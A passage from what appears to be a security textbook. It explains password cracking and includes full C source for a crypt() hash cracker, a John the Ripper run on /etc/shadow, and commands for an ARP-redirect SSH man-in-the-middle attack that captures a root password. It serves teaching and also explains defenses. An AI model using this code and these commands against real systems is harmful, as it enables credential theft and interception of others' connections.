The downside to this attack is that if the original password isn't a word found in the dictionary file, the password won't be found. For example, if a non- dictionary word like "h4R%" is used as a password, the dictionary attack won't be able to find it, as shown here:

$ perl -e '$hash = crypt("h4R%", "je"); print "$hash\n";'
jeMqqfIfPNNTE
$ cat /usr/share/dict/words | crack.pl jeMqqfIfPNNTE
Cracking the hash 'jeMqqfIfPNNTE' using words from standard input..
The password wasn't found in the words from standard input.
$

Custom dictionary files are often made using different languages, standard modifications of words (such as transforming letters to numbers), or simply appending numbers to the end of each word. While a bigger dictionary will yield more passwords, it will also take more time to process.

0x462 Exhaustive Brute-Force Attacks
A dictionary attack that tries every single possible combination is an exhaustive brute-force attack. While this type of attack will technically be able to crack every conceivable password, it will probably take longer than your grandchildren's grandchildren would be willing to wait.

With 95 possible input characters for crypt() style passwords, there are 958 possible passwords for an exhaustive search of all eight-character passwords, which works out to be over seven quadrillion possible passwords. This number gets so big so quickly because as another character is added to the password length, the number of possible passwords grows exponentially. Assuming 10,000 cracks per second, it would take about 22,875 years to try every password. Distributing this effort across many machines and processors is one possible approach; however, it is important to remember that this will only achieve a linear speed-up. If one thousand machines were combined, each capable of 10,000 cracks per second, the effort would still take over 22 years. The linear speed-up achieved by adding another machine is marginal compared to the growth in keyspace if another character were added to the password length.

Luckily, the inverse of the exponential growth is also true; as characters are removed from the password length, the number of possible passwords decreases exponentially. This means that a four-character password only has 954 possible passwords. This keyspace has only about 84 million possible passwords, which can be exhaustively cracked (assuming 10,000 cracks per second) in a little over two hours. This means that even though a password like "h4R%" isn't in any dictionary, it can be cracked in a reasonable amount of time.

This means that in addition to avoiding dictionary words, password length is also important. Because the complexity scales up exponentially, doubling the length to produce an eight-character password should bring the level of effort required to crack the password into the unreasonable time frame.

Solar Designer has developed a password-cracking program called John the Ripper that uses both a dictionary attack and then an exhaustive brute-force attack. This program is probably the most popular program of its kind, and it should be available at http://www.openwall.com/john/.

# john

John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer

Usage: john [OPTIONS] [PASSWORD-FILES]
-single "single crack" mode
-wordfile:FILE -stdin wordlist mode, read words from FILE or stdin
-rules enable rules for wordlist mode
-incremental[:MODE] incremental mode [using section MODE]
-external:MODE external mode or word filter
-stdout[:LENGTH] no cracking, just write words to stdout
-restore[:FILE] restore an interrupted session [from FILE]
-session:FILE set session file name to FILE
-status[:FILE] print status of a session [from FILE]
-makechars:FILE make a charset, FILE will be overwritten
-show show cracked passwords
-test perform a benchmark
-users:[-]LOGIN|UID[,..] load this (these) user(s) only
-groups:[-]GID[,..] load users of this (these) group(s) only
-shells:[-]SHELL[,..] load users with this (these) shell(s) only
-salts:[-]COUNT load salts with at least COUNT passwords only
-format:NAME force ciphertext format NAME (DES/BSDI/MD5/BF/AFS/LM)
-savemem:LEVEL enable memory saving, at LEVEL 1..3
# john /etc/shadow
Loaded 44 passwords with 44 different salts (FreeBSD MD5 [32/32])
guesses: 0 time: 0:00:00:19 8% (1) c/s: 248 trying: orez8
guesses: 0 time: 0:00:00:59 13% (1) c/s: 242 trying: darkcube[
guesses: 0 time: 0:00:04:09 55% (1) c/s: 236 trying: ghost93
guesses: 0 time: 0:00:06:29 78% (1) c/s: 237 trying: ereiamjh9999984
guesses: 0 time: 0:00:07:29 90% (1) c/s: 238 trying: matrix1979
guesses: 0 time: 0:00:07:59 94% (1) c/s: 238 trying: kyoorius1919
guesses: 0 time: 0:00:08:09 95% (1) c/s: 238 trying: jigga9979
guesses: 0 time: 0:00:08:39 0% (2) c/s: 238 trying: qwerty
guesses: 0 time: 0:00:14:49 1% (2) c/s: 239 trying: dolphins
guesses: 0 time: 0:00:16:49 3% (2) c/s: 240 trying: Michelle
guesses: 0 time: 0:00:18:19 4% (2) c/s: 240 trying: Sadie
guesses: 0 time: 0:00:23:19 5% (2) c/s: 239 trying: kokos
guesses: 0 time: 0:00:48:09 12% (2) c/s: 233 trying: fugazifugazi
guesses: 0 time: 0:01:02:19 16% (2) c/s: 239 trying: MONSTER
guesses: 0 time: 0:01:32:09 23% (2) c/s: 237 trying: legend7
testing7 (ereiamjh)
guesses: 1 time: 0:01:37:29 24% (2) c/s: 237 trying: molly9
Session aborted
#

In this output, the account "ereiamjh" is shown to have the password of "testing7".

Hash Lookup Table
Another interesting idea for password cracking is using a giant hash lookup table. If all the hashes for all possible passwords were precomputed and stored in a searchable data structure somewhere, any password could be cracked in the time it takes to search. Assuming a binary search, this time would be about O(log2 N) where N is the number of entries. Because N is 958 in the case of eight- character passwords, this works out to about O(8 log2 95), which is quite fast.

However, a hash lookup table like this would require about a hundred thousand terabytes of storage. In addition, the design of the password-hashing algorithm takes this type of attack into consideration and mitigates it with the salt value. Because multiple plaintext passwords will hash to different password hashes with different salt values, a separate lookup table would have to be created for each salt. With the DES-based crypt() function, there are 4,096 possible salt values, which means that even a hash lookup table for a smaller keyspace, like all possible four-character passwords, becomes impractical. The storage space needed for a single lookup table for a fixed salt for all possible four-character passwords is about one gigabyte, but because of the salt values, there are 4,096 possible hashes for a single plaintext password, necessitating 4,096 different tables. This raises the needed storage space up to about 4.6 terabytes, which greatly dissuades such an attack.

0x464 Password Probability Matrix
There is a trade-off between computational power and storage space that exists everywhere. This is seen in the most elementary forms of computer science and everyday life. MP3 files use compression to store a high-quality sound file in a relatively small amount of space, but the demand for computational resources increases. Pocket calculators use this trade-off in the other direction by maintaining a lookup table for functions like sine and cosine to save the calculator from doing heavy computations.

This trade-off can also be applied to cryptography in what has become known as a time/space trade-off attack. While Hellman's methods for this type of attack are probably more efficient, the following source code should be easier to understand. The general principal is always the same, though; try to find the sweet spot between computational power and storage space, so that an exhaustive brute-force attack can be completed in a short amount of time, using a reasonable amount of space. Unfortunately, the dilemma of salts will still present itself, because this method still requires some form of storage. However, there are only 4096 possible salts with crypt() style password hashes, so the effect of this problem can be diminished by reducing the needed storage space far enough to remain reasonable despite the 4096 multiplier.

This method uses a form of lossy compression. Instead of having an exact hash lookup table, several thousand possible plaintext values will be returned when a password hash is entered. These values can be checked quickly to converge on the original plaintext password, and the lossy compression allows for a major space reduction. In the demonstration code that follows, the keyspace for all possible four-character passwords (with a fixed salt) is used. The storage space needed is reduced by 88 percent when compared with a hash lookup table (with a fixed salt), and the keyspace that must be brute-forced through is reduced by about 1018 times. Under the assumption of 10,000 cracks per second, this method can crack any four-character password (with a fixed salt) in under eight seconds, which is a considerable speed-up when compared to the two hours needed for an exhaustive brute-force attack of the same keyspace.

This method builds a three-dimensional binary matrix that correlates parts of the hash values with parts of the plaintext values. On the X-axis, the plaintext is split into two pairs; the first two characters and the second two characters. The possible values are enumerated into a binary vector that is 952, or 9025, bits long (about 1129 bytes). On the Y-axis, the ciphertext is split into four three-character chunks. These are enumerated the same way down the columns, but only four bits of the third character are actually used. This means there are 642 · 4, or 16,384, columns. The Z-axis exists simply to maintain eight different two- dimensional matrices, so four exist for each of the plaintext pairs.

The basic idea is to split the plaintext into two paired values that are enumerated along a vector. Every possible plaintext is hashed into ciphertext, and the ciphertext is used to find the appropriate column of the matrix. Then the plaintext enumeration bit across the row of the matrix is turned on. When the ciphertext values are reduced into smaller chunks, collisions are inevitable.

Plaintext
Hash


--------------------------------------------------------------------------------

test
jeHEAX1m66RV.

!J)h
jeHEA38vqlkkQ

".F+
jeHEA1Tbde5FE

"8,J
jeHEAnX8kQK3I


--------------------------------------------------------------------------------


In this case, the column for HEA would have the bits corresponding to the plaintext pairs te, !J, "., and "8 turned on, as these plaintext/hash pairs are added to the matrix.

After the matrix is completely filled out, when a hash such as jeHEA38vqlkkQ is entered, the column for HEA will be looked up, and the two-dimensional matrix will return the values te, !J, "., and "8 for the first two characters of the plaintext. There are four matrices like this for the first two characters, using ciphertext substring from characters two through four, four through six, six though eight, and eight though ten, each with a different vector of possible first two-character plaintext values. Each vector is pulled, and they are combined with a bitwise AND. This will only leave bits turned on corresponding to plaintext pairs that were listed as possibilities for each substring of ciphertext. There are also four matrices like this for the last two characters of plaintext.

The sizes of the matrices were determined by the pigeonhole principle. This is a simple principle that states if k+1 objects are put into k boxes, at least one of the boxes will contain two objects. So, to get the best results, the goal is for each vector to be a little bit less than half full of 1s. Because 954, or 81,450,625, entries will be put in the matrices, there need to be about twice as many holes to achieve 50 percent saturation. Because each vector has 9,025 entries, there should be about columns. This works out to be about 18 thousand columns. Because ciphertext substrings of three characters are being used for the columns, the first two characters and four bits from the third character are used to provide 642 · 4, or about 16 thousand columns (there are only 64 possible values for each character of ciphertext hash). This should be close enough, because when a bit is added twice, the overlap is ignored. In practice, each vector turns out to be about 42 percent saturated with 1s.

Because four vectors are pulled for a single ciphertext, the probability of any one enumeration position having a 1 value in each vector is about 0.424 or about 3.11 percent. This means that, on average, the 9,025 possibilities for the first two characters of plaintext are reduced by about 97 percent to 280 possibilities. This is done for the last two characters also, providing about 2802, or 78,400, possible plaintext values. Under the assumption of 10,000 cracks per second, this reduced keyspace would take under eight seconds to check.

Of course, there are downsides. First, it takes at least as long to create the matrix as the original brute-force attack would have taken; however, this is a one time cost. Also, the salts still tend to prohibit any type of storage attack, even with the reduced storage-space requirements.

The following two source code listings can be used to create a password probability matrix and crack passwords with them. The first listing will generate a matrix that can be used to crack all possible four-character passwords salted with je. The second listing will use the generated matrix to actually do the password cracking.

File: ppm_gen.c
/*****************************************************************\
* Password Probability Matrix * File: ppm_gen.c *
*******************************************************************
* *
* *
* Author: Jon Erickson *
* Organization: Phiral Research Laboratories *
* *
* This is the generate program for the PPM proof of *
* concept. It generates a file called 4char.ppm, which *
* contains information regarding all possible 4 *
* character passwords salted with 'je'. This file can *
* used to quickly crack passwords found within this *
* keyspace with the corresponding ppm_crack.c program. *
\*****************************************************************/
#define _XOPEN_SOURCE
#include
#include
#include

#define HEIGHT 16384
#define WIDTH 1129
#define DEPTH 8
#define SIZE HEIGHT * WIDTH * DEPTH
int singleval(char a)
{
int i, j;
i = (int)a;
if((i >= 46) && (i <= 57))
j = i - 46;
else if ((i >= 65) && (i <= 90))
j = i - 53;
else if ((i >= 97) && (i <= 122))
j = i - 59;
return j;
}

int tripleval(char a, char b, char c)
{
return (((singleval(c)%4)*4096)+(singleval(a)*64)+singleval(b));
}

main()
{
char *plain;
char *code;
char *data;
int i, j, k, l;
unsigned int charval, val;
FILE *handle;
if (!(handle = fopen("4char.ppm", "w")))
{
printf("Error: Couldn't open file '4char.ppm' for writing.\n");
exit(1);
}
data = (char *) malloc(SIZE+19);
if (!(data))
{
printf("Error: Couldn't allocate memory.\n");
exit(1);
}
plain = data+SIZE;
code = plain+5;

for(i=32; i<127; i++)
{
for(j=32; j<127; j++)
{
printf("Adding %c%c** to 4char.ppm..\n", i, j);
for(k=32; k<127; k++)
{
for(l=32; l<127; l++)
{

plain[0] = (char)i;
plain[1] = (char)j;
plain[2] = (char)k;
plain[3] = (char)l;
plain[4] = 0;
code = crypt(plain, "je");

val = tripleval(code[2], code[3], code[4]);
charval = (i-32)*95 + (j-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val += (HEIGHT * 4);
charval = (k-32)*95 + (l-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = HEIGHT + tripleval(code[4], code[5], code[6]);
charval = (i-32)*95 + (j-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val += (HEIGHT * 4);
charval = (k-32)*95 + (l-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = (2 * HEIGHT) + tripleval(code[6], code[7], code[8]);
charval = (i-32)*95 + (j-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val += (HEIGHT * 4);
charval = (k-32)*95 + (l-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = (3 * HEIGHT) + tripleval(code[8], code[9], code[10]);
charval = (i-32)*95 + (j-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val += (HEIGHT * 4);
charval = (k-32)*95 + (l-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
}
}
}
}
printf("finished.. saving..\n");
fwrite(data, SIZE, 1, handle);
free(data); fclose(handle);
}
File: ppm_crack.c

/*********************************************************\
* Password Probability Matrix * File: ppm_crack.c *
***********************************************************
* *
* Author: Jon Erickson *
* Organization: Phiral Research Laboratories *
* *
* This is the crack program for the PPM proof of concept *
* It uses an existing file called 4char.ppm, which *
* contains information regarding all possible 4 *
* character passwords salted with 'je'. This file can *
* be generated with the corresponding ppm_gen.c program. *
* *
\*********************************************************/

#define _XOPEN_SOURCE
#include
#include
#include

#define HEIGHT 16384
#define WIDTH 1129
#define DEPTH 8
#define SIZE HEIGHT * WIDTH * DEPTH
#define DCM HEIGHT * WIDTH

int singleval(char a)
{
int i, j;
i = (int)a;
if((i >= 46) && (i <= 57))
j = i - 46;
else if ((i >= 65) && (i <= 90))
j = i - 53;
else if ((i >= 97) && (i <= 122))
j = i - 59;
return j;
}

int tripleval(char a, char b, char c)
{
return (((singleval(c)%4)*4096)+(singleval(a)*64)+singleval(b));
}
void merge(char *vector1, char *vector2)
{
int i;
for(i=0; i < WIDTH; i++)
vector1[i] &= vector2[i];
}
int length(char *vector)
{
int i, j, count=0;
for(i=0; i < 9025; i++)
count += ((vector[(i/8)]&(1<<(i%8)))>>(i%8));
return count;
}

int grab(char *vector, int index)
{
char val;
int a, b;
int word = 0;

val = ((vector[(index/8)]&(1<<(index%8)))>>(index%8));
if (!val)
index = 31337;
return index;
}
void show(char *vector)
{
int i, a, b;
int val; for(i=0; i < 9025; i++)
{
val = grab(vector, i);
if(val != 31337)
{
a = val / 95;
b = val - (a * 95);
printf("%c%c ",a+32, b+32);
}
}
printf("\n");
}
main()
{
char plain[5];
char pass[14];
char bin_vector1[WIDTH];
char bin_vector2[WIDTH];
char temp_vector[WIDTH];
char prob_vector1[2][9025];
char prob_vector2[2][9025];
int a, b, i, j, len, pv1_len=0, pv2_len=0;
FILE *fd;

if(!(fd = fopen("4char.ppm", "r")))
{
printf("Error: Couldn't open PPM file for reading.\n");
exit(1);
}

printf("Input encrypted password (salted with 'je') : ");
scanf("%s", &pass);

printf("First 2 characters: \tSaturation\n");

fseek(fd,(DCM*0)+tripleval(pass[2], pass[3], pass[4])*WIDTH, SEEK_SET);
fread(bin_vector1, WIDTH, 1, fd);

len = length(bin_vector1);
printf("sing length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*1)+tripleval(pass[4], pass[5], pass[6])*WIDTH, SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector1, temp_vector);

len = length(bin_vector1);
printf("dual length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*2)+tripleval(pass[6], pass[7], pass[8])*WIDTH, SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector1, temp_vector);

len = length(bin_vector1);
printf("trip length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*3)+tripleval(pass[8], pass[9],pass[10])*WIDTH, SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector1, temp_vector);

len = length(bin_vector1);
printf("quad length = %d\t%f%\n", len, len*100.0/9025.0);
show(bin_vector1);
printf("Last 2 characters: \tSaturation\n");

fseek(fd,(DCM*4)+tripleval(pass[2], pass[3], pass[4])*WIDTH, SEEK_SET);
fread(bin_vector2, WIDTH, 1, fd);

len = length(bin_vector2);
printf("sing length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*5)+tripleval(pass[4], pass[5], pass[6])*WIDTH, SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector2, temp_vector);

len = length(bin_vector2);
printf("dual length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*6)+tripleval(pass[6], pass[7], pass[8])*WIDTH, SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector2, temp_vector);

len = length(bin_vector2);
printf("trip length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*7)+tripleval(pass[8], pass[9],pass[10])*WIDTH, SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector2, temp_vector);

len = length(bin_vector2);
printf("quad length = %d\t%f%\n", len, len*100.0/9025.0);
show(bin_vector2);

printf("Building probability vectors...\n");
for(i=0; i < 9025; i++)
{
j = grab(bin_vector1, i);
if(j != 31337)
{
prob_vector1[0][pv1_len] = j / 95;
prob_vector1[1][pv1_len] = j - (prob_vector1[0][pv1_len] * 95);
pv1_len++;
}
}
for(i=0; i < 9025; i++)
{
j = grab(bin_vector2, i);
if(j != 31337)
{
prob_vector2[0][pv2_len] = j / 95;
prob_vector2[1][pv2_len] = j - (prob_vector2[0][pv2_len] * 95);
pv2_len++;
}
}

printf("Cracking remaining %d possibilites..\n", pv1_len*pv2_len);
for(i=0; i < pv1_len; i++)
{
for(j=0; j < pv2_len; j++)
{
plain[0] = prob_vector1[0][i] + 32;
plain[1] = prob_vector1[1][i] + 32;
plain[2] = prob_vector2[0][j] + 32;
plain[3] = prob_vector2[1][j] + 32;
plain[4] = 0;
if(strcmp(crypt(plain, "je"), pass) == 0)
{
printf("Password : %s\n", plain);
i = 31337;
j = 31337;
}
}
}
if(i < 31337)
printf("Password wasn't salted with 'je' or is not 4 chars long.\n");

fclose(fd);
}

The first piece of code, ppm_gen.c, can be used to generate a four-character password probability matrix, as shown here:

$ gcc -O3 -o gen ppm_gen.c -lcrypt
$ ./gen
Adding ** to 4char.ppm..
Adding !** to 4char.ppm..
Adding "** to 4char.ppm..
Adding #** to 4char.ppm..
Adding $** to 4char.ppm..
[Output snipped]
$ ls -lh 4char.ppm
-rw-r--r-- 1 matrix users 141M Dec 19 18:52 4char.ppm
$

The second piece of code, ppm_crack.c, can be used to crack the troublesome password of "h4R%" in a matter of seconds:

$ gcc -O3 -o crack ppm_crack.c -lcrypt
$ perl -e '$hash = crypt("h4R%", "je"); print "$hash\n";'
jeMqqfIfPNNTE
$ ./crack
Input encrypted password (salted with 'je') : jeMqqfIfPNNTE
First 2 characters: Saturation
sing length = 3801 42.116343%
dual length = 1666 18.459834%
trip length = 695 7.700831%
quad length = 287 3.180055%
4 9 N !& !M !Q "/ "5 "W #K #d #g #p $K $O $s %) %Z %\ %r &( &T '- '0 '7 'D 'F (
(v (| )+ ). )E )W *c *p *q *t *x +C -5 -A -[ -a .% .D .S .f /t 02 07 0? 0e 0{ 0| 1A
1U 1V 1Z 1d 2V 2e 2q 3P 3a 3k 3m 4E 4M 4P 4X 4f 6 6, 6C 7: 7@ 7S 7z 8F 8H 9R 9U 9_
9~ :- :q :s ;G ;J ;Z ;k V >X ?1 @# @W @v @| AO B/ B0 BO Bz
C( D8 D> E8 EZ F@ G& G? Gj Gy H4 I@ J JN JT JU Jh Jq Ks Ku M) M{ N, N: NC NF NQ Ny
O/ O[ P9 Pc Q! QA Qi Qv RA Sg Sv T0 Te U& U> UO VT V[ V] Vc Vg Vi W: WG X" X6 XZ X'
Xp YT YV Y^ Yl Yy Y{ Za [$ [* [9 [m [z \" \+ \C \O \w ]( ]: ]@ ]w _K _j 'q a. aN a^
ae au b: bG bP cE cP dU d] e! fI fv g! gG h+ h4 hc iI iT iV iZ in k. kp l5 l' lm lq
m, m= mE n0 nD nQ n~ o# o: o^ p0 p1 pC pc q* q0 qQ q{ rA rY s" sD sz tK tw u- v$ v.
v3 v; v_ vi vo wP wt x" x& x+ x1 xQ xX xi yN yo zO zP zU z[ z^ zf zi zr zt {- {B {a
|s }) }+ }? }y ~L ~m
Last 2 characters: Saturation
sing length = 3821 42.337950%
dual length = 1677 18.581717%
trip length = 713 7.900277%
quad length = 297 3.290859%
! & != !H !I !K !P !X !o !~ "r "{ "} #% #0 $5 $] %K %M %T &" &% &( &0 &4 &I &q &}
'B 'Q 'd )j )w *I *] *e *j *k *o *w *| +B +W ,' ,J ,V -z . .$ .T /' /_ 0Y 0i 0s 1!
1= 1l 1v 2- 2/ 2g 2k 3n 4K 4Y 4\ 4y 5- 5M 5O 5} 6+ 62 6E 6j 7* 74 8E 9Q 9\ 9a 9b :8
:; :A :H :S :w ;" ;& ;L v >x ?& ?' ?j ?w @0 A* B B@ BT C8 CF
CJ CN C} D+ D? DK Dc EM EQ FZ GO GR H) Hj I: I> J( J+ J3 J6 Jm K# K) K@ L, L1 LT N*
NW N' O= O[ Ot P: P\ Ps Q- Qa R% RJ RS S3 Sa T! T$ T@ TR T_ Th U" U1 V* V{ W3 Wy Wz
X% X* Y* Y? Yw Z7 Za Zh Zi Zm [F \( \3 \5 \_ \a \b \| ]$ ]. ]2 ]? ]d ^[ ^~ '1 'F 'f
'y a8 a= aI aK az b, b- bS bz c( cg dB e, eF eJ eK eu fT fW fo g( g> gW g\ h$ h9 h:
h@ hk i? jN ji jn k= kj l7 lo m< m= mT me m| m} n% n? n~ o oF oG oM p" p9 p\ q} r6
r= rB sA sN s{ s~ tX tp u u2 uQ uU uk v# vG vV vW vl w* w> wD wv x2 xA y: y= y? yM
yU yX zK zv {# {) {= {O {m |I |Z }. }; }d ~+ ~C ~a
Building probability vectors...
Cracking remaining 85239 possibilites..
Password : h4R%
$

Start Hacking 3.5 (Hybrid Ciphers)

Hybrid Ciphers

A hybrid cryptosystem gets the best of both worlds. An asymmetric cipher is used to exchange a randomly generated key that is used to encrypt the remaining communications with a symmetric cipher. This provides the speed and efficiency of a symmetric cipher, while solving the dilemma of secure key exchange. Hybrid ciphers are used by most modern cryptographic applications, such as SSL, SSH, and PGP.

Because most applications use ciphers that are resistant to cryptanalysis, attacking the cipher usually won't work. However, if an attacker can intercept communications between both parties and masquerade as one or the other, the key exchange algorithm can be attacked.

Man-in-the-Middle Attacks
A man-in-the-middle (MiM) attack is a clever way to circumvent encryption. The attacker sits between the two communicating parties, with each party believing they are communicating with the other party, but both are communicating with the attacker.

When an encrypted connection between the two parties is established, a secret key is generated and transmitted using an asymmetric cipher. Usually, this key is used to encrypt further communication between the two parties. Because the key is securely transmitted and the subsequent traffic is secured by the key, all of this traffic is unreadable by any would-be attacker sniffing these packets.

However, in a man-in-the-middle attack, party A believes that she is communicating with B, and party B believes he is communicating with A, but in reality, both are communicating with the attacker. So when A negotiates an encrypted connection with B, A is actually opening an encrypted connection with the attacker, which means the attacker securely communicates with an asymmetric cipher and learns the secret key. Then the attacker just needs to open another encrypted connection with B, and B will believe that it is communicating with A, as shown in the following illustration.






This means that the attacker actually maintains two separate encrypted communication channels with two separate encryption keys. Packets from A are encrypted with the first key and sent to the attacker, which A believes is actually B. The attacker then decrypts these packets with the first key and re-encrypts them with the second key. Then the attacker sends the newly encrypted packets to B, and B believes these packets are actually being sent by A. By sitting in the middle and maintaining two separate keys, the attacker is able to sniff and even modify traffic between A and B without either side being the wiser.

This can all be done with the ARP redirection Perl script from Chapter 0x300, and a modified openssh package called ssharp. Due to ssharp's license, it can't be distributed; however, it should be able to be found at http://stealth.7350.org/. ssharp's daemon, Ssharpd, just accepts all connections and then proxies these connections to the real destination IP address. IP filtering rules are used to redirect the ssh connection traffic destined for port 22 to port 1337 where ssharpd is running. Then the ARP redirection script redirects traffic between 192.168.0.118 and 192.168.0.189 so it will flow through 192.168.0.193. The following shows output from these machines:

On machine overdose @ 192.168.0.193
overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22 -j
REDIRECT --to-port 1337 -i eth0
overdose# ./ssharpd -4 -p 1337

Dude, Stealth speaking here. This is 7350ssharp, a smart
SSH1 & SSH2 MiM attack implementation. It's for demonstration
and educational purposes ONLY! Think before you type ... ( or )

overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189
Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...
Retrieving your IP and MAC info from ifconfig...
[*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30
[*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4
[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

While this redirection is going on, an SSH connection is opened from 192.168.0.118 to 192.168.0.189.

On machine euclid @ 192.168.0.118


euclid$ ssh root@192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA key fingerprint is 01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.
root@192.168.0.189's password:
Last login: Wed Jan 22 14:03:57 2003 from 192.168.0.118
tetsuo# exit
Connection to 192.168.0.189 closed.
euclid$

Everything seems okay, and the connection appeared to be secure. However, back on the machine overdose at 192.168.0.193, the following was happening:

Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Ctrl-C caught, exiting cleanly.
Putting arp caches back to normal.

overdose# cat /tmp/ssharp
192.168.0.189:22 [root:1h4R)2cr4Kpa$$w0r)]
overdose#

Because the authentication was actually redirected, with 192.168.0.193 acting as a proxy, the password could be sniffed.

The attacker's ability to masquerade as either party is what makes this type of attack possible. SSL and SSH were designed with this in mind and have protections against identity spoofing. SSL uses certificates to validate identity, and SSH uses host fingerprints. If the attacker doesn't have the proper certificate or fingerprint for B when A attempts to open an encrypted communication channel with the attacker, the signatures won't match and A will be alerted with a warning.

In the previous example, 192.168.0.118 (euclid) had never previously communicated over SSH with 192.168.0.189 (tetsuo) and therefore didn't have a host fingerprint. The host fingerprint that was accepted was actually the fingerprint for 192.168.0.193 (overdose). If this wasn't the case, and 192.168.0.118 had a host fingerprint for 192.168.0.189, the whole attack would have been detected, and the user would have been presented with a very blatant warning.

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe.
Please contact your system administrator.

The openssh client will actually prevent the user from connecting until the old host fingerprint has been removed. However, many Windows SSH clients don't have the same kind of strict enforcement of these rules and will present the user with an "Are you sure you want to continue?" dialog box. An uninformed user could potentially just click right through the warning.

0x452 Differing SSH Protocol Host Fingerprints
SSH host fingerprints do have a few vulnerabilities. These vulnerabilities have been compensated for in the most recent versions of openssh, but they do still exist in older implementations.

Usually the first time an SSH connection is made to a new host, that host's fingerprint is added to a known_hosts file, as shown here.

$ ssh 192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.
matrix@192.168.0.189's password:
$ grep 192.168.0.189 .ssh/known_hosts
192.168.0.189 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHlbyrJDTdE
hzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODxALOROxoTYasx
MLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk=

However, there are two different protocols of SSH — SSH1 and SSH2 — each with separate host fingerprints.

$ ssh -1 192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA1 key fingerprint is 87:6d:82:7f:15:49:37:af:3f:86:26:da:75:f1:bb:be.
Are you sure you want to continue connecting (yes/no)?
$ ssh -2 192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?
$

The banner presented by the SSH server describes which SSH protocols it understands (shown in bold below).

$ telnet 192.168.0.193 22
Trying 192.168.0.193...
Connected to 192.168.0.193.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1
Connection closed by foreign host.
$ telnet 192.168.0.189 22
Trying 192.168.0.189...
Connected to 192.168.0.189.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.5p1
Connection closed by foreign host.

The banner from 192.168.0.193 includes the string "SSH-2.0", which shows that the server only speaks protocol 2. The banner from 192.168.0.189 includes the string "SSH-1.99", which shows that the server speaks both protocols 1 and 2. By convention, "1.99" means the server speaks both protocols. Often, the SSH server will be configured with a line like "Protocol 1,2", which means the server speaks both protocols and tries to use SSH1 if possible.

In the case of 192.168.0.193, it's obvious that any clients connecting to it have only communicated with SSH2 and therefore only have host fingerprints for protocol 2. In the case of 192.168.0.189, it's likely that clients have only communicated using SSH1 and therefore only have host fingerprints for protocol 1.

If the modified SSH daemon being used for the man-in-the-middle attack forces the client to communicate using the other protocol, no host fingerprint will be found. The user will simply be asked if they want to add the new fingerprint, instead of being presented with a lengthy warning. The ssharp MiM tool has a mode that tries to force the client to communicate using the protocol least likely to have been used by presenting the client with the proper banner. This mode is activated with the -7 switch.

The output below shows that euclid's SSH server usually speaks using protocol 1, so by using the -7 switch, the fake server presents a banner requesting protocol 2.

From machine euclid @ 192.168.0.118 before MiM attack

euclid$ telnet 192.168.0.189 22
